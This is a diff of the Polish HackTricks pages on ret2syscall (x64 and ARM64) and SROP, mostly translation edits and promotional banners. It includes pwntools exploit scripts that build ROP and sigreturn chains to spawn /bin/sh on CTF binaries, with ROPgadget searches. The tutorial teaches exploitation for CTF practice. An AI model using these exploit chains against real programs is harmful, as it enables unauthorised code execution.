* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -204,11 +205,11 @@ P.interactive() #Interact with your shell :)
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Wspólne problemy
|
||||
## Common problems
|
||||
|
||||
### MAIN_PLT = elf.symbols\['main'] nie został znaleziony
|
||||
### MAIN\_PLT = elf.symbols\['main'] not found
|
||||
|
||||
Jeśli symbol "main" nie istnieje (prawdopodobnie dlatego, że jest to okrojony plik binarny). W takim przypadku można po prostu znaleźć, gdzie znajduje się kod główny:
|
||||
Jeśli symbol "main" nie istnieje (prawdopodobnie dlatego, że jest to zredukowany plik binarny). W takim razie możesz po prostu znaleźć, gdzie znajduje się główny kod:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
|
@ -220,11 +221,11 @@ MAIN_PLT = 0x401080
|
|||
```
|
||||
### Puts not found
|
||||
|
||||
Jeśli plik binarny nie używa Puts, powinieneś **sprawdzić, czy używa**
|
||||
Jeśli binarny plik nie używa Puts, powinieneś **sprawdzić, czy używa**
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Jeśli po utworzeniu **wszystkich** exploitów napotkasz ten **błąd**: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
Jeśli znajdziesz ten **błąd** po stworzeniu **wszystkich** exploitów: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Spróbuj **odjąć 64 bajty od adresu "/bin/sh"**:
|
||||
```python
|
||||
|
@ -235,16 +236,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Ret2syscall
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscalla.
|
||||
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscall `sys_execve` z pewnymi argumentami, aby wykonać `/bin/sh`. Ta technika jest zazwyczaj stosowana w binariach, które są kompilowane statycznie, więc może być wiele gadżetów i instrukcji syscall.
|
||||
|
||||
Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfiguracja:
|
||||
Aby przygotować wywołanie dla **syscall**, potrzebna jest następująca konfiguracja:
|
||||
|
||||
* `rax: 59 Określ sys_execve`
|
||||
* `rdi: wskaźnik do "/bin/sh" określ plik do wykonania`
|
||||
* `rsi: 0 określ brak przekazywanych argumentów`
|
||||
* `rdx: 0 określ brak przekazywanych zmiennych środowiskowych`
|
||||
* `rax: 59 Wskazuje sys_execve`
|
||||
* `rdi: wskaźnik do "/bin/sh" wskazuje plik do wykonania`
|
||||
* `rsi: 0 wskazuje brak przekazanych argumentów`
|
||||
* `rdx: 0 wskazuje brak przekazanych zmiennych środowiskowych`
|
||||
|
||||
Więc w zasadzie trzeba zapisać ciąg znaków `/bin/sh` gdzieś, a następnie wykonać `syscall` (będąc świadomym potrzebnego wypełnienia do kontrolowania stosu). W tym celu potrzebujemy gadżetu do zapisania `/bin/sh` w znanym obszarze.
|
||||
Więc, zasadniczo trzeba napisać ciąg `/bin/sh` gdzieś, a następnie wykonać `syscall` (mając na uwadze potrzebne wypełnienie do kontrolowania stosu). W tym celu potrzebujemy gadżetu, aby zapisać `/bin/sh` w znanym obszarze.
|
||||
|
||||
{% hint style="success" %}
|
||||
Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
Innym interesującym syscall do wywołania jest **`mprotect`**, który pozwoliłby atakującemu na **zmodyfikowanie uprawnień strony w pamięci**. Może to być połączone z [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
{% endhint %}
|
||||
|
||||
## Gadżety rejestrów
|
||||
|
@ -41,13 +42,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
|||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
Z tymi adresami jest możliwe **zapisanie zawartości na stosie i załadowanie jej do rejestrów**.
|
||||
Z tymi adresami możliwe jest **zapisanie zawartości na stosie i załadowanie jej do rejestrów**.
|
||||
|
||||
## Zapisz ciąg znaków
|
||||
## Zapisz ciąg
|
||||
|
||||
### Pamięć zapisywalna
|
||||
### Pamięć do zapisu
|
||||
|
||||
Najpierw musisz znaleźć miejsce zapisywalne w pamięci
|
||||
Najpierw musisz znaleźć miejsce do zapisu w pamięci.
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
|
@ -56,16 +57,16 @@ Start End Offset Perm Path
|
|||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
```
|
||||
### Zapisz ciąg znaków w pamięci
|
||||
### Zapisz ciąg w pamięci
|
||||
|
||||
Następnie musisz znaleźć sposób na zapisanie dowolnej zawartości pod tym adresem
|
||||
Następnie musisz znaleźć sposób na zapisanie dowolnej treści pod tym adresem
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### Automatyzacja łańcucha ROP
|
||||
|
||||
Następujące polecenie tworzy pełny łańcuch ROP dla `sys_execve` dla statycznego pliku binarnego, gdy dostępne są gadżety write-what-where oraz instrukcje syscall:
|
||||
Poniższe polecenie tworzy pełny łańcuch ROP `sys_execve` dla statycznego binarnego, gdy dostępne są gadżety write-what-where oraz instrukcje syscall:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
|
@ -107,13 +108,15 @@ rop += popRax
|
|||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Brakujące Gadżety
|
||||
## Brak Gadżetów
|
||||
|
||||
Jeśli **brakuje Ci gadżetów**, na przykład do zapisania `/bin/sh` w pamięci, możesz użyć techniki **SROP do kontrolowania wszystkich wartości rejestrów** (w tym RIP i rejestrów parametrów) ze stosu:
|
||||
Jeśli **brakuje gadżetów**, na przykład do zapisania `/bin/sh` w pamięci, możesz użyć **techniki SROP, aby kontrolować wszystkie wartości rejestrów** (w tym RIP i rejestry parametrów) ze stosu:
|
||||
|
||||
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
|
||||
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Przykład Eksploitu
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -180,11 +183,26 @@ target.sendline(payload)
|
|||
|
||||
target.interactive()
|
||||
```
|
||||
## Inne Przykłady i Referencje
|
||||
## Inne przykłady i odniesienia
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
* 64 bity, brak PIE, nx, zapisz w pewnej pamięci ROP aby wywołać `execve` i skoczyć tam.
|
||||
* 64 bity, brak PIE, nx, zapisz w pamięci ROP do wywołania `execve` i przeskocz tam.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
||||
* 64 bity, nx, brak PIE, zapisz w pewnej pamięci ROP aby wywołać `execve` i skoczyć tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne.
|
||||
* 64 bity, nx, brak PIE, zapisz w pamięci ROP do wywołania `execve` i przeskocz tam. Aby zapisać na stosie, nadużywana jest funkcja wykonująca operacje matematyczne.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 bity, brak PIE, nx, BF canary, zapisz w pewnej pamięci ROP aby wywołać `execve` i skoczyć tam.
|
||||
* 64 bity, brak PIE, nx, BF canary, zapisz w pamięci ROP do wywołania `execve` i przeskocz tam.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ret2syscall - ARM64
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Znajdź wprowadzenie do arm64 w:
|
||||
|
||||
|
@ -22,7 +23,7 @@ Znajdź wprowadzenie do arm64 w:
|
|||
|
||||
## Kod
|
||||
|
||||
Skorzystamy z przykładu ze strony:
|
||||
Będziemy używać przykładu z tej strony:
|
||||
|
||||
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
|
||||
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
|
||||
|
@ -45,20 +46,20 @@ vulnerable_function();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Kompiluj bez opcji PIE i canary:
|
||||
Kompiluj bez pie i canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector
|
||||
```
|
||||
## Gadżety
|
||||
## Gadgets
|
||||
|
||||
Aby przygotować wywołanie **syscall**, konieczna jest następująca konfiguracja:
|
||||
Aby przygotować wywołanie dla **syscall**, potrzebna jest następująca konfiguracja:
|
||||
|
||||
- `x8: 221 Określ sys_execve`
|
||||
- `x0: wskaźnik do "/bin/sh" określ plik do wykonania`
|
||||
- `x1: 0 określ brak przekazywanych argumentów`
|
||||
- `x2: 0 określ brak przekazywanych zmiennych środowiskowych`
|
||||
* `x8: 221 Określ sys_execve`
|
||||
* `x0: wskaźnik do "/bin/sh" określ plik do wykonania`
|
||||
* `x1: 0 określ brak przekazanych argumentów`
|
||||
* `x2: 0 określ brak przekazanych zmiennych środowiskowych`
|
||||
|
||||
Korzystając z narzędzia ROPgadget.py, udało mi się zlokalizować następujące gadżety w bibliotece libc maszyny:
|
||||
Używając ROPgadget.py, udało mi się zlokalizować następujące gadżety w bibliotece libc maszyny:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -79,13 +80,13 @@ svc #0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Z poprzednimi gadżetami możemy kontrolować wszystkie potrzebne rejestry ze stosu i użyć x5, aby przejść do drugiego gadżetu i wywołać syscall.
|
||||
Dzięki poprzednim gadżetom możemy kontrolować wszystkie potrzebne rejestry ze stosu i użyć x5, aby skoczyć do drugiego gadżetu, aby wywołać syscall.
|
||||
|
||||
{% hint style="success" %}
|
||||
Należy zauważyć, że posiadanie tej informacji z biblioteki libc pozwala również na atak ret2libc, ale użyjmy jej w tym bieżącym przykładzie.
|
||||
Zauważ, że znajomość tych informacji z biblioteki libc pozwala również na przeprowadzenie ataku ret2libc, ale użyjmy tego w bieżącym przykładzie.
|
||||
{% endhint %}
|
||||
|
||||
### Wykorzystanie
|
||||
### Exploit
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -134,16 +135,17 @@ p.sendline(payload)
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,39 @@
|
|||
# SROP - Programowanie zorientowane na sygnały Sigreturn
|
||||
# SROP - Sigreturn-Oriented Programming
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**`Sigreturn`** to specjalne **wywołanie systemowe (syscall)**, które głównie służy do posprzątania po zakończeniu działania obsługi sygnału. Sygnały to przerwania wysyłane do programu przez system operacyjny, często w celu wskazania, że wystąpiła jakaś wyjątkowa sytuacja. Gdy program otrzymuje sygnał, tymczasowo wstrzymuje swoją bieżącą pracę, aby obsłużyć sygnał za pomocą **obsługi sygnału** - specjalnej funkcji przeznaczonej do radzenia sobie z sygnałami.
|
||||
|
||||
Po zakończeniu obsługi sygnału program musi **wznowić swój poprzedni stan**, jakby nic się nie stało. W tym miejscu pojawia się **`sigreturn`**. Pomaga on programowi **powrócić z obsługi sygnału** i przywrócić stan programu poprzez wyczyszczenie ramki stosu (sekcji pamięci przechowującej wywołania funkcji i zmienne lokalne), która była używana przez obsługę sygnału.
|
||||
|
||||
Interesującą częścią jest sposób, w jaki **`sigreturn`** przywraca stan programu: robi to poprzez przechowywanie **wszystkich wartości rejestrów CPU na stosie**. Gdy sygnał nie jest już blokowany, **`sigreturn` zdejmuje te wartości ze stosu**, efektywnie resetując rejestry CPU do stanu sprzed obsługi sygnału. Obejmuje to rejestr wskaźnika stosu (RSP), który wskazuje na aktualny szczyt stosu.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Wywołując wywołanie systemowe **`sigreturn`** z łańcucha ROP i **dodając wartości rejestrów**, które chcielibyśmy, aby zostały załadowane na **stosie**, jest możliwe **kontrolowanie** wszystkich wartości rejestrów i w rezultacie **wywołanie** na przykład wywołania systemowego `execve` z `/bin/sh`.
|
||||
{% endhint %}
|
||||
|
||||
Zauważ, że byłoby to **rodzajem Ret2syscall**, który ułatwia kontrolowanie parametrów do wywołania innych Ret2syscalls:
|
||||
## Basic Information
|
||||
|
||||
**`Sigreturn`** to specjalny **syscall**, który jest głównie używany do sprzątania po zakończeniu działania obsługi sygnałów. Sygnały to przerwania wysyłane do programu przez system operacyjny, często w celu wskazania, że wystąpiła jakaś wyjątkowa sytuacja. Gdy program otrzymuje sygnał, tymczasowo wstrzymuje swoją bieżącą pracę, aby obsłużyć sygnał za pomocą **handlera sygnałów**, specjalnej funkcji zaprojektowanej do radzenia sobie z sygnałami.
|
||||
|
||||
Po zakończeniu działania handlera sygnałów program musi **wznowić swój poprzedni stan**, jakby nic się nie stało. Tutaj wchodzi w grę **`sigreturn`**. Pomaga programowi **powrócić z handlera sygnałów** i przywraca stan programu, sprzątając ramkę stosu (sekcję pamięci, która przechowuje wywołania funkcji i zmienne lokalne), która była używana przez handlera sygnałów.
|
||||
|
||||
Interesującą częścią jest to, jak **`sigreturn`** przywraca stan programu: robi to, przechowując **wszystkie wartości rejestrów CPU na stosie.** Gdy sygnał nie jest już zablokowany, **`sigreturn`** zdejmuje te wartości ze stosu, efektywnie resetując rejestry CPU do ich stanu sprzed obsługi sygnału. Obejmuje to rejestr wskaźnika stosu (RSP), który wskazuje na aktualny szczyt stosu.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Wywołując syscall **`sigreturn`** z łańcucha ROP i **dodając wartości rejestrów**, które chcielibyśmy załadować na **stos**, możliwe jest **kontrolowanie** wszystkich wartości rejestrów, a tym samym **wywołanie** na przykład syscall `execve` z `/bin/sh`.
|
||||
{% endhint %}
|
||||
|
||||
Zauważ, że byłoby to **rodzaj Ret2syscall**, który znacznie ułatwia kontrolowanie parametrów do wywołania innych Ret2syscalls:
|
||||
|
||||
{% content-ref url="../rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](../rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Jeśli jesteś ciekawy, to jest **struktura sigcontext** przechowywana na stosie do późniejszego odzyskania wartości (diagram z [**tutaj**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
Jeśli jesteś ciekawy, to jest **struktura sigcontext** przechowywana na stosie, aby później odzyskać wartości (diagram z [**tutaj**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
|
@ -74,7 +75,7 @@ Dla lepszego wyjaśnienia sprawdź również:
|
|||
|
||||
## Przykład
|
||||
|
||||
Możesz [**znaleźć przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), gdzie wywołanie signeturn jest konstruowane za pomocą ROP (umieszczając wartość `0xf` w rxa), chociaż to jest ostateczny exploit stamtąd:
|
||||
Możesz [**znaleźć przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), gdzie wywołanie signeturn jest konstruowane za pomocą ROP (umieszczając w rxa wartość `0xf`), chociaż to jest ostateczny exploit stamtąd:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -101,7 +102,7 @@ payload += bytes(frame)
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
